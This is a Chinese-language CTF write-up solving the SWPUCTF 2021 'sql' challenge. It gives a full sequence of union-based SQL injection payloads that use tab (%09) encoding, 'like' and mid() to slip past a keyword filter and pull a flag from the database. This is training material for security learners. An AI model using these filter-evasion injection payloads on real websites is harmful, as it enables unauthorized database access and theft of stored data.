跳转至

每日一题 —— [SWPUCTF 2021 新生赛]sql

题目地址:https://www.nssctf.cn/problem/442

打开是一张“杰哥”的图片,并且要求我们传入点东西。我们看到这个网页标题提示我们"参数是 wllm" 。 那么我们就尝试传入 wllm 看看。

?wllm=1

直接使用 GET 方法,成功传入了 wllm 参数并且回显了用户名和密码。在根据题目描述,这是一道 sql 注入的题目。那么我们先测试注入类型。

?wllm=1' or 1=1 %23

可以看到,题目弹出不允许非法操作的提醒。我们知道我们需要先检查过滤。根据不断测试,我们知道这题的 waf 至少过滤了 =空格 。那么没有关系,我们可以尝试使用 tab 绕过,也就是 %09 。(同理,这道题可以使用 /**/ 注释绕过)。

?wllm=1'%09or%092>1%23
?wllm=-1'%09or%092>1%23

可以发现,本题的注入点属于符号注入,那么我们直接猜测列数。

?wllm=2'%09or%092>1%09order%09by%094%23

发现列数为 3 。那么我们尝试联合注入获取注入点。

wllm=-1'%09union%09select%091,2,3%23

发现回显了 2 和 3 。那么我们尝试获取数据库名。

wllm=-1'%09union%09select%091,database(),3%23

数据库名为 test_db ,接下来获取表名。

?wllm=-1'%09union%09select%091,database(),group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema%09like%09'test_db'%09%23

注意 = 已经不能使用了,那么我们使用模糊查找,也就是 like 。我们获得了表名为:LTLT_flag,接下来获取列名。

?wllm=-1'%09union%09select%091,database(),group_concat(column_name)%09from%09information_schema.columns%09where%09table_name%09like%09'LTLT_flag'%09%23

得知有个列名为 flag ,猜测其为目标的列,所以我们直接把他搜索出来。

?wllm=-1'%09union%09select%091,database(),group_concat(flag)%09from%09LTLT_flag%23

最后发现,已经有回显 flag 了,但是并不全,数一数一共有 20 位。那么我们尝试使用 substring 函数进行截取,发现这个函数被过滤了。经过查询,我们使用 mid 函数进行截取。mid 函数的格式为 mid(str,start,length) ,有一点需要注意的是, start 参数的起始位置是 1 ,而不是 0 。所以我们这样修改 payload:

?wllm=-1'%09union%09select%091,database(),mid(group_concat(flag),1,20)%09from%09LTLT_flag%23
?wllm=-1'%09union%09select%091,database(),mid(group_concat(flag),21,20)%09from%09LTLT_flag%23
?wllm=-1'%09union%09select%091,database(),mid(group_concat(flag),41,20)%09from%09LTLT_flag%23

经过多次的查询,也是把 flag 所有的字符都给截取出来了,我们获得 flag 。


文章热度:0次阅读